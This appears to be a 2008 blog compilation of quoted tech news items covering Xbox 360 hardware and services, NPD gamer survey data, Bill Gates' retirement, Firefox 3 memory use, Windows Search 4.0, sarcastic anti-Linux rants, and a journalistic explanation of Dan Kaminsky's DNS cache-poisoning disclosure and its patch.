In addition to stating that PlayStation 3 owners are most likely to have other "next-generation" consoles than Wii and Xbox 360 owners, NPD claimed that only 10% of PS2 owners have a PS3. In the realm of portables, 45% of PSP owners have a Nintendo DS, but only 21% of DS owners have a PSP.

Despite the broad declarations, NPD did not provide specific figures for console and PC playtime. Likewise, an exact breakdown showing the ownership patterns of those that have multiple "next-generation" consoles was absent from the release.

Using information gathered back in January and February, the report separated the North American game-playing populace into the following seven categories, totaling 174 million gamers:

• Young Heavy Gamers: 22%
• Seconday Gamers: 20%
• Console Games: 17%
• Offline PC Gamers: 15%
• Online PC Gamers: 14%
• Avid PC Gamers: 9%
• Extreme Gamers: 3%

The segments are categorized by usage, ownership and frequency numbers, though the specifics definitions were not provided.

Though PCs were "used more than any single console for gaming," NPD stressed that "Console Gamers, Young Heavy Gamers and Extreme Gamers are more likely to use consoles than a PC to play video games."

As for sales, NPD reports that 14% of games purchased between November 2007 and January 2008 were digital downloads. Extreme Gamers bought nearly 24 titles across the three month period, with NPD claiming that figure is "over seven times more than the second leading purchasing segment.""Although Extreme Gamers are heavily involved with the industry, they represent a small portion of the potential market for any new game that comes to market," commented analyst Anita Frazier. "In order to promote continued growth, we must better understand all of the gaming segments."

Details on the methodology of the report are as follows:

"The data was collected from more than 20,000 members of NPD's online consumer panel, ages two to 65+. Responses for consumers ages six to 12 were captured by instructing a parent to take his or her child in this age range to the computer to answer the questions, either with or without the parent's assistance. Qualified respondents reported they personally play video games on a PC, on a console or portable system, or on another device such as a mobile phone. The following four key variables were used to create the gamer segments: ownership; usage; frequency; and purchased/received video games. Final survey data was weighted to represent the U.S. population of individuals ages 2 and older. Fieldwork was conducted from January 11-February 5, 2008."

Note: This study was conducted in January, meaning that questions that refer to consumer behavior in the past three months include the Christmas/Hanukkah holidays.

[/QUOTE]

Source: www.shacknews.com

[QUTOE]

Las Vegas (NV) – The Internet relies on trust, but what if all that trust comes tumbling down?  That’s exactly the problem noted security researcher Dan Kaminsky described today in his Black Hat talk about DNS cache poisoning.  Several months ago, Kaminsky discovered a vulnerability in the DNS protoctol that allowed bogus name information to be sent to other servers and desktop computers – in essence hackers could redirect web surfers, chat clients and even email servers to machines of their choosing.  Specific details about the vulnerability and the ways to exploit it have been kept secret until today …

Kaminsky is the director of penetration testing for IOActive and specializes in playing around with DNS.  He says he found the vulnerability by accident while he was poking around for other “toys”. To fully understand the bug, let’s go into a brief introduction into how DNS or domain name service works.  Network gurus can probably skip the next few paragraphs.

Almost every Internet service you use, from email to web browsing uses DNS convert the easily remembered names like www.google.com, www.youtube.com and others into IP address like 123.456.789.123.  This conversion is needed because people can remember names easier.  Also companies can change names while keeping all their services pointed to the same numerical IP address.
Behind the scenes, DNS servers make this magic happen by holding a database of DNS records which are lists of names with corresponding IP addresses – think of it as a big list of example.com = 123.456.789.123, example2.com = XXX.XXX.XXX.XXX, etc.  Client computers ask for an IP address by sending a DNS request to the server and the server will reply back with the answer.  Of course servers can only hold so much information, and will hand off the request to a more authoritative server, if it doesn’t know the answer.  The requests can be further bounced up the chain until they reach the ultimate or root domain name servers for the Internet.  If these guys don’t know the answer, then the name to IP address mapping doesn’t exist.
Now imagine yourself as a 411 operator who has to find telephone numbers when asked about a certain place - let’s say Outback Steak House in Torrance, California (our favorite place in the world).  On the first call, you’d probably type it into your computer and wait for the answer, but let’s say the place is really popular and you get tons of calls every day for the place.  Eventually, a smart operator would write the number on a Sticky-Note and post it on the monitor for quick retrieval.  Then when a person calls, you simply read the number on the note, rather than taking the time to type it into the computer.  Well this is exactly what DNS servers do in form of cache.
Kaminksy’s DNS bug, as some people are calling it, exploits this cache by sending malicious requests and once a sufficient number of requests have been sent, the hacker can start rewriting the entries.  It’s important to distinguish that the actual records of the DNS server is not corrupted by this bug, rather it’s the entries in the cache itself.
Kaminsky sat down with us afterwards to give us all the gory details that would make the average man’s head explode, but hey that’s why you come to TG Daily isn’t it.  His attack forces your local domain name server (which is probably your Internet router) to basically perform all the work.  The bad guy forces the DNS server to purposely miss the cache by asking for the IP address of crazy domain names like 1.foo.com, 2.foo.com, 3.foo.com.  Your local domain name server won’t know the details so it then asks other servers to obtain the answer.
As requests and replies flow out and back to your local server, the attacker then unleashes a torrent of specially crafted packets to the victim domain name server.  These packets try to guess the transaction ID of the DNS reply which is a number that ranges from 1 to 65536.  The attacker also has to forward the packet to the correct port which in most cases is the default DNS port 53.
The attack is basically a race of a the hacker stream of DNS replies versus the real reply coming from the real DNS server.  Once the victim DNS server receives a reply with a valid transaction ID, the attacker can substitute any IP address for the domain name.  “The hacker’s packet blows away the response from the real server,” Kaminsky told TG Daily.

Kaminsky was kind enough to draw out the attack for us.  The client computer is on the left and the first node to the right is your local domain name server.

Ok, so I’m sure some of you see two big problems with this.  First, how the heck do you guess the correct transaction ID out of more than 65000 numbers and how do you get the local domain name server to issue the query that starts the whole ball rolling?  Kaminsky says most DNS servers simply increment their transaction ids which makes guessing them fairly trivial.  Also some implementations of DNS are run on a buggy random number generator that produces predictable patterns of numbers.  As far as getting the domain name server to issue the query, Kaminsky told use there are at least eight ways that he knows of and probably tons more that he doesn’t.  “Sometimes you can just ask and the server will issue a query, but it’s amazingly easy to get a DNS server to look something up,” he said.

So what does a hacker gain from attacking DNS servers?  According to Kaminsky, owning the .COM dns space would get you pretty much anything you wanted.  Everything from intercepting emails to taking over spam filters could be accomplished.  He even outlined grabbing passwords to webmail and other services by exploiting the “Forgot Your Password” feature used by many vendors.  But perhaps the biggest risk was to SSL security because certificate vendors could be duped into giving certs to bogus companies.

SSL certificate authorities issue the certificates by identifying the applicant through email.  The vendor looks up the domain’s address in WHOIS and then sends an email to the mail address contained in the record.  But if you were able to poison the DNS to redirect Microsoft’s DNS entry, then you could conceivably gain a Microsoft or another large company’s certificate.
Kaminsky found the bug approximately five months ago and initially worked solely with vendors to patch the bug because he feared any leak would invite malicious hackers into taking over the Internet.  “I spent the last few months terrified that companies would have their emails stolen because of a bug I found,” he told us. 
Kaminsky was lambasted by some security researchers because hackers, by their very nature, are quite the peer oriented group.  Those critics were eventually silenced after Kaminsky had a conference call with the doubters.
In a press conference after the talk, Kaminsky told reporters that vendors have been “fantastic” in responding and patching the bug.  Microsoft even hosted a summit on March 31st where Kaminsky and fellow researchers flew to Redmond Washington in a marathon session to hammer out a fix – something that took thousands of man hours and “thousands of pizzas”.
That patch, dubbed the “sledgehammer fix” by Kaminsky, randomized the transaction IDs and upped the range to more than a 100,000,000 possibilities.  Hopefully a competent IT administrator would notice hundreds of millions of malicious packets hitting their DNS servers, Kaminsky said.
On July 8th, most of the major vendors like Microsoft, Sun, Cisco and Red Hat had patched their servers and Kaminksy has stayed in constant contact with major web companies like MySpace, Craigslist and eBay, all in the hopes of educating IT administrators of the problem.  “I’ve been on the phone a lot, a whole lot,” he said, adding that he doesn’t want to look at his mobile phone bill for the last month.
But Kaminsky warns that the danger isn’t completely over and that the next bug may not come with as much warning and the hacker finding it may not be as considerate.  “They probably won’t be as friendly as me,” he said.
[/QUOTE]

Source: www.tgdaily.com

[QUOTE]
Electric Tuner over at the xbox-underground.net forums posted what seems to be the first picture of the Xbox360 'Opus' Motherboard.

The 'Opus' is a 'Falcon' generation motherboard designed to fit in a Xenon case. So that means a 90nm GPU, a 65nm CPU and no HDMI port. Microsoft will probably mostly use these boards to return to people suffering from the RRoD on Xenon boards. That seems to match the with the picture below ... it has no HDMI port and while we cannot see the CPU/GPU chips it uses the new CPU heatsink and has less inductors next to the CPU which indicates it uses the 65nm chip. Also notice how this Opus board has the HANA scaler/video chip (like the zephyr/falcon boards) ... so it's maybe not impossible to hack your own native HDMI port to these motherboards.

Picture News-Source: xbox-underground.net
[/QUOTE]

Source: www.xbox-scene.com

[QUOTE]
General Manager of XBox Live has spoken of even more new features he expects to come to the Xbox Live dashboard - including the ability to control your console over the internet, and ultimately a hardware-free future. He also confirmed that hard drive installs will work with all current and future Xbox games.

Speaking to OXM at E3, Marc Whitten said that the new update is "only the beginning" of the social networking features that Microsoft want to deploy.
He also said that we can expect future updates to include the ability to switch on your Xbox from any PC and download content to it remotely - "at some point in the future you'll hear more from us about that."

Asked if we'd ever be able to copy DVDs to the hard drive like the newly-added game install process, he said that was an "evil world" and he didn't fancy talking to the lawyers about making it happen.
[/QUOTE]

Source & full interview: OXM.co.uk

[QUOTE]
One of the not-so-cosmetic changes in the fall update will be the ability to let you play your games directly from the hard disk. The new feature will let users install all of the game content directly onto the hard drive to improve game load times. Microsoft reports that it has seen a 30 percent improvement in load times in internal testing. As an interesting data point, Microsoft went out of its way to tell a group of reporters that the full Devil May Cry 4 hard disk installation took roughly 10 minutes on the Xbox 360. The installation took twice as long when we conducted our own installation tests on the PlayStation 3. Another side benefit of having games installed on the hard disk is reduced noise, since the optical disc no longer needs to spin up. However, you will still need to have the game disc in your optical drive while you're playing it, presumably as a piracy check.
[/QUOTE]

Source: gamespot.com via xbox-scene.com

[QUOTE]

We don't have too many cameras out there in space past the moon, which is why most of our space shots are either looking outward, such as the shots taken by Hubble, or taken of Earth from the moon or closer. Which is why this video is so astounding. It's a video of the moon passing directly in front of the Earth, taken by NASA's EPOXI spacecraft from a whopping 31 million miles away.

The quality isn't the best, but it doesn't need to be; it's still absolutely breathtaking. This is an alien's-eye view, my friends, seen for the very first time. Amazing.
[/QUOTE]

Source: Bad Astronomy via Neatorama

[QUOTE]
Nice! I just found this site off of reddit: Why Linux is Better.com. Fortunately for me, it reads like a talking point manual for your local neighborhood Linux zealot. I thought we might have a bit of fun with this one.

• Forget about viruses. I think we went over that already.
• Is your system unstable? Who knew. When a system doesn't do anything, it doesn't crash. Oops, there goes NFS. Locked desktop. Oops I changed my IP address. Locked desktop.
• Linux protects your computer. What does that even mean? It sounds the same as the first one.
• Don't pay $300 for your operating system... but spend 10 weekends setting it up.
• Freedom! Yes, free yourselves form the shackles of sanity.
• When the system has installed, why would you still need to install stuff? Because the person that creates my OS can't possibly package everything? Duh?
• Update all your software with a single click... as long as you only want the selection and the versions that your distro provides. Don't you dare visit upstream websites.
• Why copy software illegally if you can get it for free? Why spend hours making free software barely work when you can pay $50 and get on with your life?
• Need new software? Don't bother search the web, Linux gets it for you... only if your distro has packaged it. Need software that's actually useful? Don't bother searching the web. It's not there. If it's even remotely useful, then your distro has probably already included it in a sad attempt to match the functionality of other platforms. Need legal dvd playback? playback of DRM'ed files? FAIL.
• Does your digital life seem fragmented? No? Does anyone care? Is it so hard to click three buttons to defragment?
• Choose what your desktop looks like... to make yourself feel better about it not being able to do anything. At least its pretty. At least your mom's pretty.
• Why does your Windows get slower day after day? Because you install a shit-ton of crap on it? If the same large selection of software could run on Linux, lusers would be having all the same problems.
• Do something for the environment. Seriously? how about making serious power saving work for desktops. Who cares about paper boxes. Tons of software on other platforms are distributed electronically. It's not like distributing linux ISO's saves any CD's either.
• Enjoy free and unlimited support. By that you mean unlimited quantity, but of rather limited quality.
• Use MSN, AIM, ICQ, Jabber, with a single program. Yea, cuz you can't do that on Windows or Mac.
• Too many windows? Use workspaces. Yes. Spaces. Or Virtuawin.
• Don't wait years for bugs to be solved, report and track them down... then wait years for them to actually get fixed.
• Are you tired of restarting your computer all the time? Why yes actually. Ubuntu seems to want to restart when there's a kernel or X update, which seems like every few days.
• Let your old computer have a second life...by using a Windows 2000-era operating system. Turns out Win2000 runs pretty damn well on that computer too.
• Play hundreds of games for free. The world doesn't need more than freecell and spider solitaire (and maybe pinball). Just imagine the decline in office productivity if there were more games.
• Help other countries, and your own. Yes, teach your citizens to program on OS'es which nobody runs, so that when they can locally develop software, there'll be nobody around to buy it. Surely, the rich countries with the cushy jobs are all looking for XO and KOffice experts.
• Get a great music player. Your example is amarok? Wasn't that whole gnome 3.0 tabs thing making fun of amarok? oh it wasn't? my bad... I was so certain that it was.
• Keep an eye on the weather. Because only Linux can display two digits with an optional C or F in a blurry font, and an icon of a sun.

Sorry, that was too easy. This site spreading all these lies can have Google ads but not mine? not cool.
[/QUOTE]

Source: linuxhaters.blogspot.com

[QUOTE]
Ok, here's a new column for you guys. Y'all have been getting better at sending me links to posts and articles of freetards and lusers making asses of themselves. So I'll collect them and list them, and we can all have a laugh.

• 9 File Managers for Linux. Cuz like, 10 is waaay too many.
• FSF's 5 reasons to avoid the iphone 3g. Or rather, 5 reasons why you guys are still off your rockers.
• Sweet! Wireless status LED's on Thinkpad X61's work now. You just have to recompile your kernel.
• Soft core porn that was syndicated on Fedora Planet. That's one classy programmer. And people wonder why there are few luserettes.
• Linux edges one step closer to world domination. (about the OpenMoko). Choice quote:

  What makes Linux far superior to Microsoft's mobile software is that you can have different permutations of Linux smartphones. Historically -- and presently, for many of us -- smartphones are mostly pretty limited in scope. The software on them is abysmal; I can't even SSH into mine.

[/QUOTE]

Source: linuxhaters.blogspot.com

[QUOTE]
One of the questions we've been hearing here at E3 is how existing themes you've bought from Xbox LIVE Marketplace will work with the new Xbox experience. The design team sent over this mock up to give you an idea of how it's going to work.

We've also been asked about the Game Detail Pages. Here are mock ups for a couple of them.

[/QUOTE]

Update:
In case you missed it on Inside Xbox, Marc Whitten gave an overview of the New Xbox Experience, including a peek at the Guide design. You will be able to access every part of what exists in the "blades" today, by calling up the Guide. A quick way to get to something specific, all without leaving the game you're in. Nice.

 

Source: gamerscoreblog.com via www.xbox-scene.com

[QUOTE]
Microsoft is giving consumers more gigabytes for their buck. The company today announced an Xbox 360® console with triple the storage space of the original console, but for the same price of $349 (U.S.) estimated retail price.

Available in retail stores in the U.S. and Canada starting in early August, the upgraded Xbox 360 will include a 60GB hard drive for storing the growing wealth of digital entertainment available for the console, including music, movies, television shows, and game content. In addition, Microsoft today dropped the price of its 20GB Xbox 360 console in the U.S. and Canada to just $299 (U.S.) (ERP) while supplies last, a savings of $50.

"We know consumers need more and more space to store the amazing digital content Xbox 360 offers, and we're giving it to them at no extra charge," said Albert Penello, Xbox director of product management at Microsoft. "No one device offers the depth and breadth of entertainment that Xbox 360 can deliver, and now you'll have three times the storage to manage all that great content."
Xbox 360 is just one of three Xbox 360 gaming and entertainment systems Microsoft offers. Microsoft's Xbox 360 Arcade, which comes with a 256MB memory unit and five Xbox LIVE Arcade games, is a value for the whole family for $279 (U.S.) (ERP), and the premium Xbox 360 Elite console is available with a 120GB hard drive for $449 (U.S.) (ERP).

Out of the box, the Xbox 360 console is ready to provide an incredible gaming and entertainment experience:

• Xbox 360 console: The console is equipped with a cool white finish and three powerful core processors capable of producing the best in high definition (HD) entertainment (up to 1080p for gaming), 16:9 cinematic aspect ratio, anti-aliasing for smooth textures, full surround sound, and high-definition multimedia interface (HDMI) output.
• 60GB Hard Drive: The 60GB detachable hard drive allows you to save your games and store television shows, movies, music, pictures, trailers, levels, demos, and other content available from Xbox LIVE Marketplace, the premier one-stop digital download center for entertainment.
• Upscaling DVD Player: With an HDMI cable (sold separately), watch your favorite DVDs in near high-definition using the upscaling capabilities of Xbox 360.
• Xbox 360 Wireless Controller: This award-winning, high-performance wireless controller features the Xbox Guide Button for quick, in-game access to friends and music. It has a range of up to 30 feet and a battery life of up to 30 hours on two AA batteries.
• Xbox 360 Headset: The headset lets friends and family around the world chat while playing games, watching movies, or sending voice messages on Xbox LIVE.
• Xbox LIVE Silver Membership: For no additional cost, Xbox 360 owners can chat with friends online, collect Achievements to improve their Gamerscores, send and receive voice and text messages, and access Xbox LIVE Marketplace content such as game demos, and purchase or rent HD movies and TV shows, as well as the best in downloadable games from Xbox LIVE Arcade. (Broadband Internet access required.)
• One-month subscription to Xbox LIVE Gold: An Xbox LIVE Gold Membership provides a complete online entertainment experience. Those who subscribe to this premium service can engage in competitive online multiplayer matches, tailor their matchmaking via feedback and accomplishments, and chat with an entire group of friends at a time.

[/QUOTE]

Source: Microsoft Press Release via www.xbox-scene.com

[QUOTE]
I just got off the phone with Adam Sessler over at G4 (check here to see if G4 is available in your area.) who filled me in on G4’s plans for E3 next week. If you’re not headed to LA but you still want to get in on all the gaming action, don’t worry…it sounds like they have you covered.  They’ve posted a schedule of coverage on their site, and the great news is that they’ll be carrying the complete Microsoft Press Briefing on Monday (They’ll also be carrying the Sony and Nintendo events as well) without commercial interruptions. I guess the learned their lesson from last year. According to that schedule, it looks like they’ll have a stream available on G4tv.com as well. So set your DVR’s and get ready for some gaming news.

P.S. I’ll also be recording our show and live blogging it from backstage, but more on that later this week.
[/QUOTE]

Source: http://majornelson.com

[QUOTE]
Newb guide #4. Suck it.

• Pick versions of the kernel, glibc, gcc, that are different from all other distros. So that you too, can "Think Different," or at least claim that you have the newest kernel among all distros for the next 2 weeks.
• Pick a color. Make your distro's default desktop look that color. Beware that blue, green, red, and brown are taken. This is your distro's branding you see? Having a consistent color increases usability, even more so than having usable apps.
• Make sure your distro's name has at least two intuitive pronunciations, so that you as the maintainer can be a dick and correct everyone who says it wrong.
• Take tons of screenshots showing that you can run all the same damn apps as every other distro.
• Don't mention any detailed information about what kind of hardware your distro is known or not known to work on.
• Say that it's "community tested," but mean that you personally haven't tested it all.
• Have a snazzy website with a bunch of gradients. Preferably blending from your color of choice (see above) to white. Copy Apple websites as much as possible.
• Use a different package format from all other distros
• Failing that, use a similar package format, but make sure all your packages are incompatible
• Definitely be sure to have your own package updating mechanism. I mean, if you can't even write that code yourself, how are we to trust you?
• Make sure you have a freetard version. Undo all the useful integration work you did with proprietary binaries that people want to use.
• Release new, barely tested bits every 6 months and claim that it is a sign of progress.
• Make sure you're LSB compliant. Also make sure that that means absolutely nothing.
• Never admit that your distro could be achieved by just reconfiguring another distro.
• Do one thing right that every other distro gets wrong. Make sure that the solution you come up with only works in your distro.
• Have a forum where users of your distro can complain to each other. Make sure this forum allows users to have signatures that tell me about all the hardware they've wasted by running your distro.
• Have a brainstorm site where users can point out the most obvious problems and make you look like an idiot.
• Have a bugzilla, but don't ever fix any of the bugs. Blame them all on upstream, then don't tell upstream about the problems.
• Make sure every upstream package has at least two patches. This differentiates your product, see?
• Have a newsletter. Make sure this newsletter has a column to introduce random users of your distro who are total nerds and haven't made a cent from all the work they put into their configuration.
• Write tons of documentation on complicated procedures to make things work, instead of making things work.

[/QUOTE]

Source: http://linuxhaters.blogspot.com/

Here is a small clip of a Warhammer 40k Necron warrior attacking my cat:

It's nonsense but funny ... :) ... Background: My workplace and the Warhammer 40k Necron army I'm working on.

[QUOTE]
In the 1970s, no one could have foreseen that a small start-up created by Bill Gates and a team of fellow computer nerds in New Mexico would become the Washington state-based tech behemoth it has become today.

Microsoft chairman Bill Gates, right, watches as musician Slash plays a Gibson Les Paul electric
guitar during the opening keynote address at the 2008 International Consumer Electronics Show
More Photos

Microsoft -- for better or worse, depending on your perspective -- set the standard for operating systems in PCs with Windows, bequeathed gamers with the Xbox 360 and the shoot-'em-up trilogy Halo and, in the opinion of some analysts, brought desktop computing to the larger world.

As the company prepares for Gates' departure this Friday, a host of analysts and tech experts waxed practical and philosophical about the future of Microsoft and the legacy of the man behind the curtain.

"I think Bill Gates leaving is on the same level as Steve Jobs leaving [Apple]. He is Microsoft," said Mary Jo Foley, author of the book "Microsoft 2.0: How Microsoft Plans to Stay Relevant in the Post-Gates Era." "He has been the face of Microsoft for 33 years."

Since its start in 1975, Gates has run Microsoft, building it from the ground up and contributing everything from software development to business acumen. Microsoft went public in 1986, with Gates as the CEO and chairman. In 2000, Gates stepped back as CEO, allowing Steve Ballmer to step into that roll. In 2006, the company announced that Gates would transition out of his day-to-day responsibilities as chairman and work more closely with the charitable foundation he started with his wife, Melinda, eight years ago.

With Balmer at the helm and Ray Ozzie as the company's chief software architect, many believe that Microsoft will handle the transition seamlessly.

"Microsoft has had the good fortune of having been run by a founder for a very long time. I don't think they're going to miss Bill," said Silicon Valley-based technology forecaster Paul Saffo. "The big cheese [Ballmer] in charge of the company has been with Bill and Microsoft since the beginning."

Michael Gartenberg, an analyst at Jupiter Research, agreed.

"Microsoft is less dependent over the years on Bill's persona than it was in previous years. Seeds were set since Ballmer took over as CEO. … Microsoft will continue without him, and I think that's ultimately what he was aiming for," Gartenberg said. "This is Bill's company. Bill built and redefined an entire industry. He was challenged by a number of competitors throughout the years and successfully fought off all the challengers, even when naysayers predicted Microsoft's loss of relevance."

Despite any criticism about Vista or the company's strategies, the Microsoft founder is still something of a rock star among computer programmers — one of their own who made it big, became a millionaire and got the girl.

"Gates is to the IT industry what Henry Ford was to the auto industry," said Nik Cubrilovic, co-editor of Silicon Valley blog Tech Crunch and a longtime software developer. "No single person has even come close to reaching the level of influence that he has achieved. Even if you look at the next generation of companies — even Google will never achieve the level of influence that Gates has because he was there at the beginning of the PC industry."

That influence, according to Dan Evans, a senior editor at PC Mag, is an operating system standard that made it easier for developers to bring programs to the masses.

"What he's leaving in his wake is more of a unified software industry. It used to be before Microsoft, there were different OS's. It was hard to write a software that would be on all these different [platforms]," Evans said. "This evolved from Basic to DOS from Windows to dot.net to cloud computing, but it all started with a software industry with a platform that anyone can write to."

But, like many others, Evans thinks that Gates' next move — the management of the Bill & Melinda Gates Foundation, which has a $37.3 billion endowment — could outweigh any of his achievements in the tech world.
[/QUOTE]

Source: http://abcnews.go.com/

For those who missed Steve Jobs WWDC keynote, here's a nice 60-second summarized version that basically shows everything you need to know about the iPhone 3G. 

[QUOTE]
When Microsoft Corp. announced a mammoth global recall of its Xbox 360 a year ago, the software giant never disclosed the exact source of the game console's heat problem that led to the fiasco.

Now, in an unlikely venue at Design Automation Conference here, Bryan Lewis, research vice president and chief analyst at Gartner, disclosed that the problem started in a graphic chip. Lewis offered this offhand revelation while discussing the changing ASIC and ASSP landscape for his DAC audience.

The Xbox 360 recall a year ago happened because "Microsoft wanted to avoid an ASIC vendor," said Lewis. Microsoft designed the graphic chip on its own, cut a traditional ASIC vendor out of the process and went straight to Taiwan Semiconductor Manufacturing Co. Ltd., he explained.

But in the end, by going cheap--hoping to save tens of millions of dollars in ASIC design costs, Microsoft ended up paying more than $1 billion for its Xbox 360 recall.

To fix the problem, Microsoft went back to an unnamed ASIC vendor based in the United States and redesigned the chip, Lewis added. (Based on a previous report, the ASIC vendor is most likely the former ATI Technologies, now part of AMD.)

Asked the moral of the story, Lewis said: "Had Microsoft left the graphics processor design to an ASIC vendor in the first place, would they have been able to avoid this problem?

"Probably. The ASIC vendor could have been able to design a graphics processor that dissipates much less power."

During Microsoft's conference call with analysts in July 2007, Robbie Bach, head of Microsoft's Entertainment and Devices division, withheld details of the Xbox 360 problem, other than calling it a "design issue." When pressed by an analyst if it was caused by Xbox production or assembly, Microsoft's Bach said at that time, "No."

He added: "Our partners are doing good work." Rather, "the challenge" was created by "Microsoft-initiated design,"Bach said.

Although some system companies have been experimenting with direct links to foundries by cutting out the ASIC design houses, the death of ASICs may have been greatly exaggerated. More accurately, "many ASSP companies are designing ASICs for high volume customers," Gartner's Lewis said. The "ASIC market is far from dead, but it trails the ASSP market," he said.

Lewis cited Nokia, the world's largest handset vendor, which has stopped designing its own ASICs. It recently opened up its IC sourcing to various chip vendors beyond usual suspects such as Texas Instruments and STMicroelectronics.

"System OEMs have no business designing ASICs any longer," said Lewis. The reality is that system companies are finding it hard to do enough ASIC designs to keep in-house design teams employed.

When it was pointed out that Microsoft still has its own semiconductor technology group that is still designing various chips, Lewis responded, "How many ASICs per year does Microsoft design? Not many" compared to experienced ASIC/ASSIP vendors.

Microsoft did not respond to requests to comment on this story.
[/QUOTE]

Source: http://www.eetimes.com/

[QUOTE]
One of the biggest “improvements” that Mozilla claims has made its way into Firefox 3 is improved memory usage, in particular, the vanquishing of memory leaks:

"Memory usage: Several new technologies work together to reduce the amount of memory used by Firefox 3 over a web browsing session. Memory cycles are broken and collected by an automated cycle collector, a new memory allocator reduces fragmentation, hundreds of leaks have been fixed, and caching strategies have been tuned."

We’re sorry to have to break it to you, but if you thought it was too good to be true you were right. Firefox still uses a lot of memory – way too much memory for a web browser.

We haven’t seen it reach 1GiB+ like we have with previous versions, but it’s quite normal for Firefox 3 to be sucking up ~300MiB of memory right off the bat, without a memory leak (the difference between memory leaks and normal memory abusage is that in a memory leak you’ll see the memory usage keep increasing the longer the browser is open/in-use).

This is a screenshot of Firefox’s memory usage after just a half hour or so with only a couple of HTML-only tabs open. This particular screenshot was taken on Linux where Firefox is using the shared GTK libraries – on our Windows PCs, it’s normal to find Firefox 3 taking up ~350MiB or so on both XP and Vista.

The sad thing is that isn’t caused by one of the memory leaks that plagued previous versions of Firefox. It’s Firefox 3 is supposed to take up that much memory – at least, that’s our assumption given how we’ve never seen it take up less.

Firefox 3 has a number of memory-hogging features added to the mix that are probably at least partially responsible for the absolutely gargantuan memory footprint. For example, Firefox now uses an SQL engine to keep track of your history and bookmarks, amongst other things. While that particular feature is powered by SQL-lite, which should – in theory – not take up too much memory, we’re at a loss to explain what else is wasting memory left, right, and center in the world’s most-popular open source web browser.

Things like full-text on-the-fly searching of the web cache for when you type text in the address bar certainly have an impact as well – that’s a lot of stuff to keep in memory at one time. But Opera 9.5 does the same with a lot less memory, so obviously Firefox 3 is doing something wrong.

It’s a shame that Firefox 3 is on the verge of a release and is so terribly unfit to run on any machine – Windows, Linux, or OS X – with less than at least a couple of gigabytes of memory.
[/QUOTE]

Source: http://neosmart.net/

>> From an interview with Robbie Bach, president of Microsoft's entertainment and devices division, on sfgate.com:
[QUOTE]

• Q: It sounds like you are also seeing advertising opportunities with the Xbox. How do you do that without alienating or aggravating your users?
• A: Whether it's a phone or the Xbox or the PC, the ideal goal is to make the ad relevant in a part of the experience, as opposed to something that intrudes on the space. In the game space, one of the things we have found is making ads part of the game. If you're in the car racing game and you're driving around the city, product placement works. There are ads in a city. There are billboards in a city. We can place those and we can actually dynamically rotate ads to those locations.
  We've done some very successful campaigns with big, national brands like Nike, Doritos and Toyota that want to get their brand in front of a very desirable target audience. They want to do it in a way that's relevant. People are sponsoring game development contests. They are sponsoring tournaments. Toyota has done that. Toyota has actually launched products in our games where the car will appear in a game. People can race the car and it's a special car that you get for achieving a certain level in the game. There are really creative ways to get people exposure to these things.
• Q: In January, Warner Bros. announced that it was going to support Blu-ray, the high-definition DVD format. Since then, the rival HD DVD format has gone away. Microsoft supported HD DVD with an Xbox HD DVD attachment. What is your plan there?
• A: Our plan continues to focus on high-definition experiences. Xbox 360 has a great ability to deliver those through the Xbox Live (online download) service. It's a great way to get the high-definition concept because it's right there. There's no additional media. There is nothing you need to purchase.
  If you look at the Blu-ray player market, you haven't seen the acceleration everybody expected (since the demise of HD DVD). It's not as much about whether all the content is in a Blu-ray format or a HD DVD format. You have to look at how fundamentally compelling the difference is between a progressive scan DVD player and the picture that it can produce and what you get on a high-definition player. The reality is there is some difference, but most people look at it and say, "I am not going to pay extra for that."
• Q: So no plans for Blu-ray in the next generation Xbox?
• A: No. There is nothing to even talk about right now with regard to the next generation. That is so far out that there isn't anything to talk about.
• Q: Just the same, we are coming up on a few years now with the Xbox 360. Is there some point when you start to say that we need to start looking at its replacement?
• A: There is no real projection on that. The last generation for the Xbox was a little short because we entered the market a little bit later in the cycle. I suspect this time the cycle will be a little bit longer for us.
  In terms of our actual thinking about that, we started thinking about the next generation before we finished creating the last one. It's a continuous process. We're always thinking about new ideas and new things. We don't have anything specific to talk about. There are so many things going on in the current generation that will keep us more than occupied for the foreseeable future.

[/QUOTE]

Source: sfgate.com via xbox-scene.com

[QUTOE]
Today we released the final version of Windows Search 4.0 to Microsoft Download Center. Windows Search 4.0 updates search in Windows Vista, Windows XP, Windows Server 2003, Windows Server 2008 and Windows Home Server. This release comes after a public Windows Search 4.0 Preview, which was a success thanks to great community participation - with around 300,000 downloads.   Since the Preview was released, a number of quality improvements have been made to the product based on feedback provided by the community.

Download: Windows Search 4.0 for Windows Vista and Windows Server 2008 (x86)

Download: Windows Search 4.0 for Windows Vista and Windows Server 2008 (x64)

More download packages are available on http://support.microsoft.com/kb/940157.

So, what's new in this release?

First and foremost: we've introduced some performance and reliability improvements. Queries are faster, as is indexing - how much faster depends on your machine and your data. Improved reliability means that system failures won't get in the way of the indexer and all of your data will be scanned and available for searches.

We've also extended remote index discovery, also known as PC-to-PC searches, which allows data to be searched quickly and efficiently across machines running Windows Search 4.0. This means that Windows Vista-to-Windows XP or Windows Vista-to-Windows Server 2008 queries are now possible.

Additionally, Windows Search 4.0 offers manageability improvements that IT Pros should take note of.

For starters, we have extended Group Policy to control more aspects of search functionality and made this control more granular with per-user policies. You can use Group Policy Objects to control how desktop search accesses remote resources - such as Microsoft Exchange Server resources or file shares - to manage network utilization.

Speaking of accessing Microsoft Exchange Server - if your organization selects not to use Microsoft Office Outlook in cached mode, you can set a Group Policy to index Exchange in online mode.  Windows Search 4.0 will then index with minimal impact to the server. Our internal testing of this configuration shows significant decrease in the load on the server and the network as compared to Windows Desktop Search 3.01.

IT Pros can deploy a new link that will be added to the Instant Search UI of Windows Vista (or Windows Search UI on Windows XP) on client PCs and allow the query entered in the search box to access your company's search server, by opening the search UI of the server in your browser and executing the query in it. With this functionality, users get a single launch pad for all of their searches. For more information on how to add customized links into the instant Search UI, click here.

Based on a large amount of customer feedback, we have added support for indexing files encrypted with EFS. Users in an organization can now encrypt files and still be able to search their contents. When running on Windows Vista, they also can get an additional level of data protection by using BitLocker and storing their index on the protected drive.

Today, Windows Search 4.0 can be downloaded for installation (download links from Microsoft Download Center listed above). If you need Windows Search 4.0 deployed in a large organization, you can use System Center Configuration Manager (SCCM) or other infrastructure solutions.

In the future, we will make Windows Search 4.0 available on Windows Update as well. At that time you will be able to install Windows Search 4.0 off the update site directly or deploy it in your organization using WSUS.

Once Windows Search 4.0 becomes available on Windows Update various Windows users will experience the following:

• Windows XP users will see it as an "optional" update, which requires users to select the update for installation.
